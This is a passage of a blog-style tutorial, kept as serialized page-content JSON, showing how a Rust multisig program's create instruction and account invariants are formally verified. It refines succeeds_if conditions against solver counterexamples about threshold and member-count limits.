}\n",[23441],{"type":23,"tag":92,"props":23442,"children":23443},{"__ignoreMap":7},[23444,23452],{"type":23,"tag":134,"props":23445,"children":23446},{"class":136,"line":137},[23447],{"type":23,"tag":134,"props":23448,"children":23449},{"style":179},[23450],{"type":28,"value":23451},"#[succeeds_if()]\n",{"type":23,"tag":134,"props":23453,"children":23454},{"class":136,"line":147},[23455,23459,23463,23467,23471,23475,23480,23484],{"type":23,"tag":134,"props":23456,"children":23457},{"style":151},[23458],{"type":28,"value":13158},{"type":23,"tag":134,"props":23460,"children":23461},{"style":151},[23462],{"type":28,"value":13163},{"type":23,"tag":134,"props":23464,"children":23465},{"style":264},[23466],{"type":28,"value":6570},{"type":23,"tag":134,"props":23468,"children":23469},{"style":179},[23470],{"type":28,"value":272},{"type":23,"tag":134,"props":23472,"children":23473},{"style":168},[23474],{"type":28,"value":9054},{"type":23,"tag":134,"props":23476,"children":23477},{"style":179},[23478],{"type":28,"value":23479},") { ",{"type":23,"tag":134,"props":23481,"children":23482},{"style":168},[23483],{"type":28,"value":9054},{"type":23,"tag":134,"props":23485,"children":23486},{"style":179},[23487],{"type":28,"value":9059},{"type":23,"tag":24,"props":23489,"children":23490},{},[23491],{"type":28,"value":23492},"Running the solver, we get:",{"type":23,"tag":87,"props":23494,"children":23496},{"code":23495},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[23497],{"type":23,"tag":92,"props":23498,"children":23499},{"__ignoreMap":7},[23500],{"type":28,"value":23495},{"type":23,"tag":24,"props":23502,"children":23503},{},[23504,23506,23511],{"type":28,"value":23505},"This means that ",{"type":23,"tag":92,"props":23507,"children":23509},{"className":23508},[],[23510],{"type":28,"value":1195},{"type":28,"value":23512}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":24,"props":23514,"children":23515},{},[23516],{"type":28,"value":23517},"We can ask the solver to produce a counterexample:",{"type":23,"tag":87,"props":23519,"children":23521},{"code":23520},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23522],{"type":23,"tag":92,"props":23523,"children":23524},{"__ignoreMap":7},[23525],{"type":28,"value":23520},{"type":23,"tag":24,"props":23527,"children":23528},{},[23529],{"type":28,"value":23530},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":24,"props":23532,"children":23533},{},[23534],{"type":23,"tag":55,"props":23535,"children":23536},{},[23537,23539,23545],{"type":28,"value":23538},"Note also that the verifier decided to use a ",{"type":23,"tag":92,"props":23540,"children":23542},{"className":23541},[],[23543],{"type":28,"value":23544},"SparseVec",{"type":28,"value":23546}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":24,"props":23548,"children":23549},{},[23550],{"type":23,"tag":55,"props":23551,"children":23552},{},[23553,23555,23560,23561,23567,23569,23574,23576,23581],{"type":28,"value":23554},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":92,"props":23556,"children":23558},{"className":23557},[],[23559],{"type":28,"value":1007},{"type":28,"value":10458},{"type":23,"tag":92,"props":23562,"children":23564},{"className":23563},[],[23565],{"type":28,"value":23566},"pop",{"type":28,"value":23568}," are stubbed out to simply panic for the ",{"type":23,"tag":92,"props":23570,"children":23572},{"className":23571},[],[23573],{"type":28,"value":23544},{"type":28,"value":23575}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":92,"props":23577,"children":23579},{"className":23578},[],[23580],{"type":28,"value":16683},{"type":28,"value":23582}," type.",{"type":23,"tag":24,"props":23584,"children":23585},{},[23586],{"type":28,"value":23587},"We can add this to our constraint and try again:",{"type":23,"tag":87,"props":23589,"children":23591},{"code":23590,"language":127,"meta":7,"className":128,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[23592],{"type":23,"tag":92,"props":23593,"children":23594},{"__ignoreMap":7},[23595,23603,23640,23647],{"type":23,"tag":134,"props":23596,"children":23597},{"class":136,"line":137},[23598],{"type":23,"tag":134,"props":23599,"children":23600},{"style":179},[23601],{"type":28,"value":23602},"#[succeeds_if(\n",{"type":23,"tag":134,"props":23604,"children":23605},{"class":136,"line":147},[23606,23611,23615,23619,23623,23627,23631,23635],{"type":23,"tag":134,"props":23607,"children":23608},{"style":179},[23609],{"type":28,"value":23610},"    (threshold ",{"type":23,"tag":134,"props":23612,"children":23613},{"style":151},[23614],{"type":28,"value":8302},{"type":23,"tag":134,"props":23616,"children":23617},{"style":597},[23618],{"type":28,"value":13199},{"type":23,"tag":134,"props":23620,"children":23621},{"style":179},[23622],{"type":28,"value":252},{"type":23,"tag":134,"props":23624,"children":23625},{"style":168},[23626],{"type":28,"value":18891},{"type":23,"tag":134,"props":23628,"children":23629},{"style":179},[23630],{"type":28,"value":22863},{"type":23,"tag":134,"props":23632,"children":23633},{"style":168},[23634],{"type":28,"value":720},{"type":23,"tag":134,"props":23636,"children":23637},{"style":179},[23638],{"type":28,"value":23639},"len()\n",{"type":23,"tag":134,"props":23641,"children":23642},{"class":136,"line":185},[23643],{"type":23,"tag":134,"props":23644,"children":23645},{"style":179},[23646],{"type":28,"value":19736},{"type":23,"tag":134,"props":23648,"children":23649},{"class":136,"line":221},[23650,23654,23658,23662,23666,23670,23674,23678],{"type":23,"tag":134,"props":23651,"children":23652},{"style":151},[23653],{"type":28,"value":13158},{"type":23,"tag":134,"props":23655,"children":23656},{"style":151},[23657],{"type":28,"value":13163},{"type":23,"tag":134,"props":23659,"children":23660},{"style":264},[23661],{"type":28,"value":6570},{"type":23,"tag":134,"props":23663,"children":23664},{"style":179},[23665],{"type":28,"value":272},{"type":23,"tag":134,"props":23667,"children":23668},{"style":168},[23669],{"type":28,"value":9054},{"type":23,"tag":134,"props":23671,"children":23672},{"style":179},[23673],{"type":28,"value":23479},{"type":23,"tag":134,"props":23675,"children":23676},{"style":168},[23677],{"type":28,"value":9054},{"type":23,"tag":134,"props":23679,"children":23680},{"style":179},[23681],{"type":28,"value":9059},{"type":23,"tag":24,"props":23683,"children":23684},{},[23685],{"type":28,"value":23686},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":87,"props":23688,"children":23690},{"code":23689},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23691],{"type":23,"tag":92,"props":23692,"children":23693},{"__ignoreMap":7},[23694],{"type":28,"value":23689},{"type":23,"tag":24,"props":23696,"children":23697},{},[23698],{"type":28,"value":23699},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":87,"props":23701,"children":23703},{"code":23702,"language":127,"meta":7,"className":128,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[23704],{"type":23,"tag":92,"props":23705,"children":23706},{"__ignoreMap":7},[23707,23714,23749,23770,23777],{"type":23,"tag":134,"props":23708,"children":23709},{"class":136,"line":137},[23710],{"type":23,"tag":134,"props":23711,"children":23712},{"style":179},[23713],{"type":28,"value":23602},{"type":23,"tag":134,"props":23715,"children":23716},{"class":136,"line":147},[23717,23721,23725,23729,23733,23737,23741,23745],{"type":23,"tag":134,"props":23718,"children":23719},{"style":179},[23720],{"type":28,"value":23610},{"type":23,"tag":134,"props":23722,"children":23723},{"style":151},[23724],{"type":28,"value":8302},{"type":23,"tag":134,"props":23726,"children":23727},{"style":597},[23728],{"type":28,"value":13199},{"type":23,"tag":134,"props":23730,"children":23731},{"style":179},[23732],{"type":28,"value":252},{"type":23,"tag":134,"props":23734,"children":23735},{"style":168},[23736],{"type":28,"value":18891},{"type":23,"tag":134,"props":23738,"children":23739},{"style":179},[23740],{"type":28,"value":22863},{"type":23,"tag":134,"props":23742,"children":23743},{"style":168},[23744],{"type":28,"value":720},{"type":23,"tag":134,"props":23746,"children":23747},{"style":179},[23748],{"type":28,"value":23639},{"type":23,"tag":134,"props":23750,"children":23751},{"class":136,"line":185},[23752,23756,23761,23765],{"type":23,"tag":134,"props":23753,"children":23754},{"style":168},[23755],{"type":28,"value":15091},{"type":23,"tag":134,"props":23757,"children":23758},{"style":179},[23759],{"type":28,"value":23760}," threshold ",{"type":23,"tag":134,"props":23762,"children":23763},{"style":168},[23764],{"type":28,"value":15158},{"type":23,"tag":134,"props":23766,"children":23767},{"style":179},[23768],{"type":28,"value":23769}," 0\n",{"type":23,"tag":134,"props":23771,"children":23772},{"class":136,"line":221},[23773],{"type":23,"tag":134,"props":23774,"children":23775},{"style":179},[23776],{"type":28,"value":19736},{"type":23,"tag":134,"props":23778,"children":23779},{"class":136,"line":332},[23780,23784,23788,23792,23796,23800,23804,23808],{"type":23,"tag":134,"props":23781,"children":23782},{"style":151},[23783],{"type":28,"value":13158},{"type":23,"tag":134,"props":23785,"children":23786},{"style":151},[23787],{"type":28,"value":13163},{"type":23,"tag":134,"props":23789,"children":23790},{"style":264},[23791],{"type":28,"value":6570},{"type":23,"tag":134,"props":23793,"children":23794},{"style":179},[23795],{"type":28,"value":272},{"type":23,"tag":134,"props":23797,"children":23798},{"style":168},[23799],{"type":28,"value":9054},{"type":23,"tag":134,"props":23801,"children":23802},{"style":179},[23803],{"type":28,"value":23479},{"type":23,"tag":134,"props":23805,"children":23806},{"style":168},[23807],{"type":28,"value":9054},{"type":23,"tag":134,"props":23809,"children":23810},{"style":179},[23811],{"type":28,"value":9059},{"type":23,"tag":24,"props":23813,"children":23814},{},[23815],{"type":28,"value":23816},"A third counterexample:",{"type":23,"tag":87,"props":23818,"children":23820},{"code":23819},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[23821],{"type":23,"tag":92,"props":23822,"children":23823},{"__ignoreMap":7},[23824],{"type":28,"value":23819},{"type":23,"tag":24,"props":23826,"children":23827},{},[23828,23830,23836],{"type":28,"value":23829},"Here we see the size of our ",{"type":23,"tag":92,"props":23831,"children":23833},{"className":23832},[],[23834],{"type":28,"value":23835},"members",{"type":28,"value":23837}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":87,"props":23839,"children":23841},{"code":23840,"language":127,"meta":7,"className":128,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[23842],{"type":23,"tag":92,"props":23843,"children":23844},{"__ignoreMap":7},[23845,23852,23887,23908,23960,23967],{"type":23,"tag":134,"props":23846,"children":23847},{"class":136,"line":137},[23848],{"type":23,"tag":134,"props":23849,"children":23850},{"style":179},[23851],{"type":28,"value":23602},{"type":23,"tag":134,"props":23853,"children":23854},{"class":136,"line":147},[23855,23859,23863,23867,23871,23875,23879,23883],{"type":23,"tag":134,"props":23856,"children":23857},{"style":179},[23858],{"type":28,"value":23610},{"type":23,"tag":134,"props":23860,"children":23861},{"style":151},[23862],{"type":28,"value":8302},{"type":23,"tag":134,"props":23864,"children":23865},{"style":597},[23866],{"type":28,"value":13199},{"type":23,"tag":134,"props":23868,"children":23869},{"style":179},[23870],{"type":28,"value":252},{"type":23,"tag":134,"props":23872,"children":23873},{"style":168},[23874],{"type":28,"value":18891},{"type":23,"tag":134,"props":23876,"children":23877},{"style":179},[23878],{"type":28,"value":22863},{"type":23,"tag":134,"props":23880,"children":23881},{"style":168},[23882],{"type":28,"value":720},{"type":23,"tag":134,"props":23884,"children":23885},{"style":179},[23886],{"type":28,"value":23639},{"type":23,"tag":134,"props":23888,"children":23889},{"class":136,"line":185},[23890,23894,23899,23903],{"type":23,"tag":134,"props":23891,"children":23892},{"style":168},[23893],{"type":28,"value":15091},{"type":23,"tag":134,"props":23895,"children":23896},{"style":179},[23897],{"type":28,"value":23898}," (threshold ",{"type":23,"tag":134,"props":23900,"children":23901},{"style":168},[23902],{"type":28,"value":15158},{"type":23,"tag":134,"props":23904,"children":23905},{"style":179},[23906],{"type":28,"value":23907}," 0)\n",{"type":23,"tag":134,"props":23909,"children":23910},{"class":136,"line":221},[23911,23915,23919,23923,23927,23931,23935,23940,23944,23948,23952,23956],{"type":23,"tag":134,"props":23912,"children":23913},{"style":168},[23914],{"type":28,"value":15091},{"type":23,"tag":134,"props":23916,"children":23917},{"style":179},[23918],{"type":28,"value":22477},{"type":23,"tag":134,"props":23920,"children":23921},{"style":168},[23922],{"type":28,"value":720},{"type":23,"tag":134,"props":23924,"children":23925},{"style":179},[23926],{"type":28,"value":20499},{"type":23,"tag":134,"props":23928,"children":23929},{"style":168},[23930],{"type":28,"value":18891},{"type":23,"tag":134,"props":23932,"children":23933},{"style":179},[23934],{"type":28,"value":232},{"type":23,"tag":134,"props":23936,"children":23937},{"style":597},[23938],{"type":28,"value":23939},"u16",{"type":23,"tag":134,"props":23941,"children":23942},{"style":168},[23943],{"type":28,"value":660},{"type":23,"tag":134,"props":23945,"children":23946},{"style":597},[23947],{"type":28,"value":20517},{"type":23,"tag":134,"props":23949,"children":23950},{"style":151},[23951],{"type":28,"value":8288},{"type":23,"tag":134,"props":23953,"children":23954},{"style":597},[23955],{"type":28,"value":13199},{"type":23,"tag":134,"props":23957,"children":23958},{"style":179},[23959],{"type":28,"value":19189},{"type":23,"tag":134,"props":23961,"children":23962},{"class":136,"line":332},[23963],{"type":23,"tag":134,"props":23964,"children":23965},{"style":179},[23966],{"type":28,"value":19736},{"type":23,"tag":134,"props":23968,"children":23969},{"class":136,"line":438},[23970,23974,23978,23982,23986,23990,23994,23998],{"type":23,"tag":134,"props":23971,"children":23972},{"style":151},[23973],{"type":28,"value":13158},{"type":23,"tag":134,"props":23975,"children":23976},{"style":151},[23977],{"type":28,"value":13163},{"type":23,"tag":134,"props":23979,"children":23980},{"style":264},[23981],{"type":28,"value":6570},{"type":23,"tag":134,"props":23983,"children":23984},{"style":179},[23985],{"type":28,"value":272},{"type":23,"tag":134,"props":23987,"children":23988},{"style":168},[23989],{"type":28,"value":9054},{"type":23,"tag":134,"props":23991,"children":23992},{"style":179},[23993],{"type":28,"value":23479},{"type":23,"tag":134,"props":23995,"children":23996},{"style":168},[23997],{"type":28,"value":9054},{"type":23,"tag":134,"props":23999,"children":24000},{"style":179},[24001],{"type":28,"value":9059},{"type":23,"tag":24,"props":24003,"children":24004},{},[24005],{"type":28,"value":24006},"And now we get:",{"type":23,"tag":87,"props":24008,"children":24010},{"code":24009},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[24011],{"type":23,"tag":92,"props":24012,"children":24013},{"__ignoreMap":7},[24014],{"type":28,"value":24009},{"type":23,"tag":24,"props":24016,"children":24017},{},[24018],{"type":28,"value":24019},"🥳🥳🥳",{"type":23,"tag":24,"props":24021,"children":24022},{},[24023],{"type":28,"value":24024},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":87,"props":24026,"children":24028},{"code":24027,"language":127,"meta":7,"className":128,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[24029],{"type":23,"tag":92,"props":24030,"children":24031},{"__ignoreMap":7},[24032,24055,24086],{"type":23,"tag":134,"props":24033,"children":24034},{"class":136,"line":137},[24035,24039,24043,24047,24051],{"type":23,"tag":134,"props":24036,"children":24037},{"style":189},[24038],{"type":28,"value":15049},{"type":23,"tag":134,"props":24040,"children":24041},{"style":162},[24042],{"type":28,"value":22942},{"type":23,"tag":134,"props":24044,"children":24045},{"style":168},[24046],{"type":28,"value":8179},{"type":23,"tag":134,"props":24048,"children":24049},{"style":205},[24050],{"type":28,"value":1729},{"type":23,"tag":134,"props":24052,"children":24053},{"style":179},[24054],{"type":28,"value":463},{"type":23,"tag":134,"props":24056,"children":24057},{"class":136,"line":147},[24058,24062,24066,24070,24074,24078,24082],{"type":23,"tag":134,"props":24059,"children":24060},{"style":189},[24061],{"type":28,"value":16461},{"type":23,"tag":134,"props":24063,"children":24064},{"style":264},[24065],{"type":28,"value":22998},{"type":23,"tag":134,"props":24067,"children":24068},{"style":179},[24069],{"type":28,"value":272},{"type":23,"tag":134,"props":24071,"children":24072},{"style":597},[24073],{"type":28,"value":23007},{"type":23,"tag":134,"props":24075,"children":24076},{"style":168},[24077],{"type":28,"value":660},{"type":23,"tag":134,"props":24079,"children":24080},{"style":597},[24081],{"type":28,"value":23016},{"type":23,"tag":134,"props":24083,"children":24084},{"style":179},[24085],{"type":28,"value":1021},{"type":23,"tag":134,"props":24087,"children":24088},{"class":136,"line":185},[24089],{"type":23,"tag":134,"props":24090,"children":24091},{"style":179},[24092],{"type":28,"value":1098},{"type":23,"tag":24,"props":24094,"children":24095},{},[24096,24098,24104,24106,24111,24113,24118,24120,24125],{"type":28,"value":24097},"In this case this is actually redundant because if ",{"type":23,"tag":92,"props":24099,"children":24101},{"className":24100},[],[24102],{"type":28,"value":24103},"members.len() == 0",{"type":28,"value":24105}," then our threshold would also have to be ",{"type":23,"tag":92,"props":24107,"children":24109},{"className":24108},[],[24110],{"type":28,"value":1224},{"type":28,"value":24112}," (and our ",{"type":23,"tag":92,"props":24114,"children":24116},{"className":24115},[],[24117],{"type":28,"value":22228},{"type":28,"value":24119}," is not allowed to be ",{"type":23,"tag":92,"props":24121,"children":24123},{"className":24122},[],[24124],{"type":28,"value":1224},{"type":28,"value":24126},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":9072,"props":24128,"children":24130},{"id":24129},"_2-verify-threshold-requirements",[24131],{"type":28,"value":24132},"2. Verify threshold requirements",{"type":23,"tag":24,"props":24134,"children":24135},{},[24136],{"type":28,"value":24137},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":24,"props":24139,"children":24140},{},[24141,24143,24147],{"type":28,"value":24142},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":55,"props":24144,"children":24145},{},[24146],{"type":28,"value":8763},{"type":28,"value":24148}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":24,"props":24150,"children":24151},{},[24152,24154,24158,24160,24165],{"type":28,"value":24153},"In this case, we want to model this as an ",{"type":23,"tag":55,"props":24155,"children":24156},{},[24157],{"type":28,"value":21256},{"type":28,"value":24159}," on the ",{"type":23,"tag":92,"props":24161,"children":24163},{"className":24162},[],[24164],{"type":28,"value":22220},{"type":28,"value":24166}," account struct:",{"type":23,"tag":87,"props":24168,"children":24170},{"code":24169,"language":127,"meta":7,"className":128,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[24171],{"type":23,"tag":92,"props":24172,"children":24173},{"__ignoreMap":7},[24174,24181,24206,24213,24237,24288,24295,24314,24341,24368,24395,24422,24449,24476,24503,24538],{"type":23,"tag":134,"props":24175,"children":24176},{"class":136,"line":137},[24177],{"type":23,"tag":134,"props":24178,"children":24179},{"style":179},[24180],{"type":28,"value":20248},{"type":23,"tag":134,"props":24182,"children":24183},{"class":136,"line":147},[24184,24188,24193,24197,24202],{"type":23,"tag":134,"props":24185,"children":24186},{"style":179},[24187],{"type":28,"value":22316},{"type":23,"tag":134,"props":24189,"children":24190},{"style":597},[24191],{"type":28,"value":24192},"Clone",{"type":23,"tag":134,"props":24194,"children":24195},{"style":179},[24196],{"type":28,"value":242},{"type":23,"tag":134,"props":24198,"children":24199},{"style":597},[24200],{"type":28,"value":24201},"Debug",{"type":23,"tag":134,"props":24203,"children":24204},{"style":179},[24205],{"type":28,"value":19736},{"type":23,"tag":134,"props":24207,"children":24208},{"class":136,"line":185},[24209],{"type":23,"tag":134,"props":24210,"children":24211},{"style":179},[24212],{"type":28,"value":20256},{"type":23,"tag":134,"props":24214,"children":24215},{"class":136,"line":221},[24216,24221,24225,24229,24233],{"type":23,"tag":134,"props":24217,"children":24218},{"style":179},[24219],{"type":28,"value":24220},"    (self",{"type":23,"tag":134,"props":24222,"children":24223},{"style":168},[24224],{"type":28,"value":720},{"type":23,"tag":134,"props":24226,"children":24227},{"style":179},[24228],{"type":28,"value":20549},{"type":23,"tag":134,"props":24230,"children":24231},{"style":168},[24232],{"type":28,"value":9408},{"type":23,"tag":134,"props":24234,"children":24235},{"style":179},[24236],{"type":28,"value":20558},{"type":23,"tag":134,"props":24238,"children":24239},{"class":136,"line":332},[24240,24244,24248,24252,24256,24260,24264,24268,24272,24276,24280,24284],{"type":23,"tag":134,"props":24241,"children":24242},{"style":168},[24243],{"type":28,"value":15091},{"type":23,"tag":134,"props":24245,"children":24246},{"style":179},[24247],{"type":28,"value":20482},{"type":23,"tag":134,"props":24249,"children":24250},{"style":168},[24251],{"type":28,"value":720},{"type":23,"tag":134,"props":24253,"children":24254},{"style":179},[24255],{"type":28,"value":20549},{"type":23,"tag":134,"props":24257,"children":24258},{"style":151},[24259],{"type":28,"value":8302},{"type":23,"tag":134,"props":24261,"children":24262},{"style":597},[24263],{"type":28,"value":13199},{"type":23,"tag":134,"props":24265,"children":24266},{"style":168},[24267],{"type":28,"value":7656},{"type":23,"tag":134,"props":24269,"children":24270},{"style":179},[24271],{"type":28,"value":13265},{"type":23,"tag":134,"props":24273,"children":24274},{"style":168},[24275],{"type":28,"value":720},{"type":23,"tag":134,"props":24277,"children":24278},{"style":179},[24279],{"type":28,"value":20461},{"type":23,"tag":134,"props":24281,"children":24282},{"style":168},[24283],{"type":28,"value":720},{"type":23,"tag":134,"props":24285,"children":24286},{"style":179},[24287],{"type":28,"value":20610},{"type":23,"tag":134,"props":24289,"children":24290},{"class":136,"line":438},[24291],{"type":23,"tag":134,"props":24292,"children":24293},{"style":179},[24294],{"type":28,"value":19736},{"type":23,"tag":134,"props":24296,"children":24297},{"class":136,"line":466},[24298,24302,24306,24310],{"type":23,"tag":134,"props":24299,"children":24300},{"style":151},[24301],{"type":28,"value":13158},{"type":23,"tag":134,"props":24303,"children":24304},{"style":151},[24305],{"type":28,"value":20629},{"type":23,"tag":134,"props":24307,"children":24308},{"style":597},[24309],{"type":28,"value":20634},{"type":23,"tag":134,"props":24311,"children":24312},{"style":179},[24313],{"type":28,"value":463},{"type":23,"tag":134,"props":24315,"children":24316},{"class":136,"line":479},[24317,24321,24325,24329,24333,24337],{"type":23,"tag":134,"props":24318,"children":24319},{"style":151},[24320],{"type":28,"value":20321},{"type":23,"tag":134,"props":24322,"children":24323},{"style":162},[24324],{"type":28,"value":20650},{"type":23,"tag":134,"props":24326,"children":24327},{"style":168},[24328],{"type":28,"value":1697},{"type":23,"tag":134,"props":24330,"children":24331},{"style":597},[24332],{"type":28,"value":20508},{"type":23,"tag":134,"props":24334,"children":24335},{"style":179},[24336],{"type":28,"value":20663},{"type":23,"tag":134,"props":24338,"children":24339},{"style":141},[24340],{"type":28,"value":20668},{"type":23,"tag":134,"props":24342,"children":24343},{"class":136,"line":497},[24344,24348,24352,24356,24360,24364],{"type":23,"tag":134,"props":24345,"children":24346},{"style":151},[24347],{"type":28,"value":20321},{"type":23,"tag":134,"props":24349,"children":24350},{"style":162},[24351],{"type":28,"value":20680},{"type":23,"tag":134,"props":24353,"children":24354},{"style":168},[24355],{"type":28,"value":1697},{"type":23,"tag":134,"props":24357,"children":24358},{"style":597},[24359],{"type":28,"value":20508},{"type":23,"tag":134,"props":24361,"children":24362},{"style":179},[24363],{"type":28,"value":20693},{"type":23,"tag":134,"props":24365,"children":24366},{"style":141},[24367],{"type":28,"value":20698},{"type":23,"tag":134,"props":24369,"children":24370},{"class":136,"line":518},[24371,24375,24379,24383,24387,24391],{"type":23,"tag":134,"props":24372,"children":24373},{"style":151},[24374],{"type":28,"value":20321},{"type":23,"tag":134,"props":24376,"children":24377},{"style":162},[24378],{"type":28,"value":20710},{"type":23,"tag":134,"props":24380,"children":24381},{"style":168},[24382],{"type":28,"value":1697},{"type":23,"tag":134,"props":24384,"children":24385},{"style":597},[24386],{"type":28,"value":17022},{"type":23,"tag":134,"props":24388,"children":24389},{"style":179},[24390],{"type":28,"value":20723},{"type":23,"tag":134,"props":24392,"children":24393},{"style":141},[24394],{"type":28,"value":20728},{"type":23,"tag":134,"props":24396,"children":24397},{"class":136,"line":527},[24398,24402,24406,24410,24414,24418],{"type":23,"tag":134,"props":24399,"children":24400},{"style":151},[24401],{"type":28,"value":20321},{"type":23,"tag":134,"props":24403,"children":24404},{"style":162},[24405],{"type":28,"value":20740},{"type":23,"tag":134,"props":24407,"children":24408},{"style":168},[24409],{"type":28,"value":1697},{"type":23,"tag":134,"props":24411,"children":24412},{"style":597},[24413],{"type":28,"value":17022},{"type":23,"tag":134,"props":24415,"children":24416},{"style":179},[24417],{"type":28,"value":20693},{"type":23,"tag":134,"props":24419,"children":24420},{"style":141},[24421],{"type":28,"value":20757},{"type":23,"tag":134,"props":24423,"children":24424},{"class":136,"line":780},[24425,24429,24433,24437,24441,24445],{"type":23,"tag":134,"props":24426,"children":24427},{"style":151},[24428],{"type":28,"value":20321},{"type":23,"tag":134,"props":24430,"children":24431},{"style":162},[24432],{"type":28,"value":20769},{"type":23,"tag":134,"props":24434,"children":24435},{"style":168},[24436],{"type":28,"value":1697},{"type":23,"tag":134,"props":24438,"children":24439},{"style":597},[24440],{"type":28,"value":14102},{"type":23,"tag":134,"props":24442,"children":24443},{"style":179},[24444],{"type":28,"value":20782},{"type":23,"tag":134,"props":24446,"children":24447},{"style":141},[24448],{"type":28,"value":20787},{"type":23,"tag":134,"props":24450,"children":24451},{"class":136,"line":797},[24452,24456,24460,24464,24468,24472],{"type":23,"tag":134,"props":24453,"children":24454},{"style":151},[24455],{"type":28,"value":20321},{"type":23,"tag":134,"props":24457,"children":24458},{"style":162},[24459],{"type":28,"value":20799},{"type":23,"tag":134,"props":24461,"children":24462},{"style":168},[24463],{"type":28,"value":1697},{"type":23,"tag":134,"props":24465,"children":24466},{"style":597},[24467],{"type":28,"value":20335},{"type":23,"tag":134,"props":24469,"children":24470},{"style":179},[24471],{"type":28,"value":20812},{"type":23,"tag":134,"props":24473,"children":24474},{"style":141},[24475],{"type":28,"value":20817},{"type":23,"tag":134,"props":24477,"children":24478},{"class":136,"line":814},[24479,24483,24487,24491,24495,24499],{"type":23,"tag":134,"props":24480,"children":24481},{"style":151},[24482],{"type":28,"value":20321},{"type":23,"tag":134,"props":24484,"children":24485},{"style":162},[24486],{"type":28,"value":20829},{"type":23,"tag":134,"props":24488,"children":24489},{"style":168},[24490],{"type":28,"value":1697},{"type":23,"tag":134,"props":24492,"children":24493},{"style":597},[24494],{"type":28,"value":11517},{"type":23,"tag":134,"props":24496,"children":24497},{"style":179},[24498],{"type":28,"value":242},{"type":23,"tag":134,"props":24500,"children":24501},{"style":141},[24502],{"type":28,"value":20846},{"type":23,"tag":134,"props":24504,"children":24505},{"class":136,"line":827},[24506,24510,24514,24518,24522,24526,24530,24534],{"type":23,"tag":134,"props":24507,"children":24508},{"style":151},[24509],{"type":28,"value":20321},{"type":23,"tag":134,"props":24511,"children":24512},{"style":162},[24513],{"type":28,"value":20858},{"type":23,"tag":134,"props":24515,"children":24516},{"style":168},[24517],{"type":28,"value":1697},{"type":23,"tag":134,"props":24519,"children":24520},{"style":597},[24521],{"type":28,"value":20867},{"type":23,"tag":134,"props":24523,"children":24524},{"style":179},[24525],{"type":28,"value":5262},{"type":23,"tag":134,"props":24527,"children":24528},{"style":597},[24529],{"type":28,"value":20876},{"type":23,"tag":134,"props":24531,"children":24532},{"style":179},[24533],{"type":28,"value":20881},{"type":23,"tag":134,"props":24535,"children":24536},{"style":141},[24537],{"type":28,"value":20886},{"type":23,"tag":134,"props":24539,"children":24540},{"class":136,"line":836},[24541],{"type":23,"tag":134,"props":24542,"children":24543},{"style":179},[24544],{"type":28,"value":1098},{"type":23,"tag":24,"props":24546,"children":24547},{},[24548,24550,24555],{"type":28,"value":24549},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":92,"props":24551,"children":24553},{"className":24552},[],[24554],{"type":28,"value":22220},{"type":28,"value":24556}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":24,"props":24558,"children":24559},{},[24560,24562,24567],{"type":28,"value":24561},"Let's try this on the ",{"type":23,"tag":92,"props":24563,"children":24565},{"className":24564},[],[24566],{"type":28,"value":22299},{"type":28,"value":24568}," instruction that we've already seen:",{"type":23,"tag":87,"props":24570,"children":24572},{"code":24571},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[24573],{"type":23,"tag":92,"props":24574,"children":24575},{"__ignoreMap":7},[24576],{"type":28,"value":24571},{"type":23,"tag":24,"props":24578,"children":24579},{},[24580,24582,24587],{"type":28,"value":24581},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":92,"props":24583,"children":24585},{"className":24584},[],[24586],{"type":28,"value":22299},{"type":28,"value":1697},{"type":23,"tag":87,"props":24589,"children":24591},{"code":24590,"language":127,"meta":7,"className":128,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// 